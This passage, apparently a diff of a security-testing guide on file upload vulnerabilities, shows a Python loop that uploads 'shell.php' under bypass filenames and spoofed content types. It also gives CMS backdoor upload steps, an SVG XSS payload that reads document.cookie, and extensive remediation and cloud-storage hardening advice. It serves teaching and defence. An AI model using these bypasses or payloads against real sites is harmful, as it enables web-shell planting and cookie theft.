+ {'path': 'shell.php', 'name': 'shell.php%20.jpg', 'type': 'image/jpeg'},
667
+ {'path': 'shell.php', 'name': 'shell.php%0d%0a.jpg', 'type': 'image/jpeg'},
668
+ {'path': 'shell.php', 'name': 'shell.php.blah123jpg', 'type': 'image/jpeg'},
669
+ # Content-type tests
670
+ {'path': 'legitimate.jpg', 'name': 'legitimate.jpg', 'type': 'image/jpeg'},
671
+ {'path': 'shell.php', 'name': 'shell.php', 'type': 'image/jpeg'},
672
+ {'path': 'shell.php', 'name': 'shell.php', 'type': 'image/gif'},
673
+ # Extension tests
674
+ {'path': 'shell.php', 'name': 'shell.phtml', 'type': 'application/x-php'},
675
+ {'path': 'shell.php', 'name': 'shell.PhP', 'type': 'application/x-php'},
676
+ {'path': 'shell.php', 'name': 'shell.php.', 'type': 'application/octet-stream'},
677
+ {'path': 'shell.php', 'name': 'shell.php%20', 'type': 'application/octet-stream'},
678
+ ]
679
+
680
+ for test in test_cases:
681
+ result = test_file_upload(target, test['path'], test['name'], test['type'])
682
+ print(f"Testing {test['name']} ({test['type']}): {result['status_code']}")
683
+ ```
684
+
685
+ ### Testing Strategies
686
+
687
+ #### Comprehensive File Upload Testing Process
688
+
689
+ 1. **Discovery Phase**:
690
+ - Map all file upload functionality
691
+ - Identify client-side and server-side validation patterns
692
+ - Document allowed file types and upload restrictions
693
+
694
+ 2. **Initial Testing Phase**:
695
+ - Test baseline functionality with expected file types
696
+ - Test basic restriction bypasses:
697
+ - Extension manipulation
698
+ - Content-Type manipulation
699
+ - Simple payload attempts
700
+
701
+ 3. **Advanced Testing Phase**:
702
+ - Test for complex bypass techniques:
703
+ - Polyglot files
704
+ - Metadata injection
705
+ - Race conditions
706
+ - Upload directory traversal
707
+
708
+ 4. **Exploitation Phase**:
709
+ - Verify code execution for successful uploads
710
+ - Test chained attack scenarios
711
+ - Document impact and attack chains
712
+
713
+ 5. **Post-Exploitation Testing**:
714
+ - Test upload persistence
715
+ - Test access control on uploaded files
716
+ - Test ability to access uploads across user contexts
717
+
718
+ #### Real-World Testing Examples
719
+
720
+ ##### CMS File Upload Testing
721
+
722
+ 1. Identify CMS type and version
723
+ 2. Map file upload functionality (plugins, themes, media)
724
+ 3. Test bypasses specific to the CMS:
725
+ - WordPress: Plugin installation with malicious PHP
726
+ - Drupal: Module upload with executable code
727
+ - Joomla: Template upload with backdoor
728
+ 4. Verify code execution
729
+
730
+ ##### Multi-step Bypass Testing
731
+
732
+ 1. Attempt standard upload with blocked extension (.php)
733
+ 2. If blocked, try modification techniques:
734
+ - Double extensions (.jpg.php)
735
+ - Alternate extensions (.phtml, .php5)
736
+ - Case manipulation (.pHP)
737
+ 3. If still blocked, try content manipulation:
738
+ - Change Content-Type header
739
+ - Modify magic bytes
740
+ - Use polyglot techniques
741
+ 4. If successful, verify execution path
742
+
743
+ ##### SVG Upload for XSS Testing
744
+
745
+ 1. Create malicious SVG:
746
+
747
+ ```
748
+ <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>
749
+ ```
750
+
751
+ 2. Upload to target site
752
+ 3. Access uploaded SVG directly or in context
753
+ 4. Verify XSS execution
754
+
755
+ ## Remediation Recommendations
756
+
757
+ - **Implement Proper Validation**:
758
+ - Validate file type using content inspection, not just extension
759
+ - Use file signature/magic byte checking
760
+ - Implement allowlist approach for permitted file types AND extensions (Defense in Depth)
761
+
762
+ - **Apply Multiple Security Layers**:
763
+ - Implement client-side AND server-side validation
764
+ - Use content-type validation AND extension validation
765
+ - Scan uploaded files with security tools
766
+ - Use separate domains or CDNs for user-uploaded content (reduces XSS risk)
767
+ - Implement proper, restrictive permissions on upload directories (prevent execution)
768
+
769
+ - **Store Files Securely**:
770
+ - Store uploaded files outside the web root when possible
771
+ - Use separate domains for user-uploaded content
772
+ - Implement proper permissions on upload directories
773
+
774
+ - **Process Uploaded Files**:
775
+ - Remove metadata from images
776
+ - Re-encode/compress uploaded images
777
+ - Strip potentially dangerous content
778
+ - Use random, unpredictable filenames generated by the server (prevents guessing/overwriting)
779
+ - Validate file paths against directory traversal
780
+ - Content Disarm & Reconstruction (CDR): re-encode or convert documents and images on a trusted pipeline before storage or delivery.
781
+ - Sandbox Image/Document Converters: run Ghostscript, ImageMagick, and HEIC libraries under seccomp, Firejail, or bubblewrap to contain 0-days.
782
+ - Supply-Chain Hygiene: track image/document-processing dependencies with an SBOM (e.g., Syft) and enable automated updates via Dependabot or Renovate.
783
+
784
+ - **Implement File Upload Best Practices**:
785
+ - Set upload size limits
786
+ - Implement file scanning for malware
787
+ - Use random, unpredictable filenames
788
+ - Validate file paths against directory traversal
789
+
790
+ - **Context-Specific Controls**:
791
+ - For image uploads: Validate dimensions and recompress
792
+ - For document uploads: Convert to PDF or other safe format
793
+ - For code uploads: Implement sandbox execution environment or strict validation/linting
794
+
795
+ - **HTTP Headers**:
796
+ - For downloaded files, set `Content-Disposition: attachment; filename="user_safe_filename.ext"` to force download prompt.
797
+ - Set `X-Content-Type-Options: nosniff` to prevent browsers from MIME-sniffing the content type away from the declared one.
798
+
799
+ ### Cloud / Object-Storage Upload Checklist
800
+
801
+ - Use presigned URLs with **short TTL (≤ 60 s)** and **single-use** semantics.
802
+ - Enforce `bucket-owner-enforced` ACL or **Object Lock** to prevent post-scan overwrites.
803
+ - Require **server-side encryption** headers (for example `x-amz-server-side-encryption`) on presigned PUTs.
804
+ - Restrict the IAM role used for uploads to **PutObject** only; deny `GetObject` and `DeleteObject` unless required.
805
+ - Validate the object key on the backend after upload; reject keys containing `../` or control characters.
806
+ - For compute workers processing uploads, enforce **IMDSv2** and limit egress to mitigate SSRF pivots.
807
+
808
+ ### Cloud/Object Storage Advanced
809
+
810
+ - Presigned POST policies: verify policy `conditions` enforce `content-type`, size, and key prefix; reject uploads whose actual `Content-Type` differs at processing time.
811
+ - Compute ETag/MD5 checks; reject mismatched `Content-MD5` values; beware S3 multipart ETag semantics for multi-part uploads.
812
+ - Scan and quarantine newly uploaded objects before publishing; block overwrites via Object Lock; publish via a separate, read-only bucket.
813
+ - Prevent key confusion: disallow keys with `%2f`, unicode homoglyphs, or hidden dot segments that may bypass prefix-only allowlists.
814
+ - CDN/image pipeline: disable remote URL sources or restrict to allowlisted domains with DNS pinning; strip metadata and re-encode.
815
+ - Enforce V4 signature strictness on presigned URLs; reject headers not in policy; verify expiration on access.
816
+
817
+ ### Chunked/Streaming and CDN/Image Pipelines
818
+
819
+ - HTTP chunked smuggling: proxies may stream parts to backends before full validation; ensure backends validate final file after full receive.
820
+ - Parallel/multipart chunk races: verify server holds uploads in a quarantine path until all validations complete; deny direct reads from temp locations.
821
+ - Image pipelines with `?url=` sources: treat as SSRF; block private IPs, localhost, and metadata endpoints; enforce DNS rebinding protections.
822
+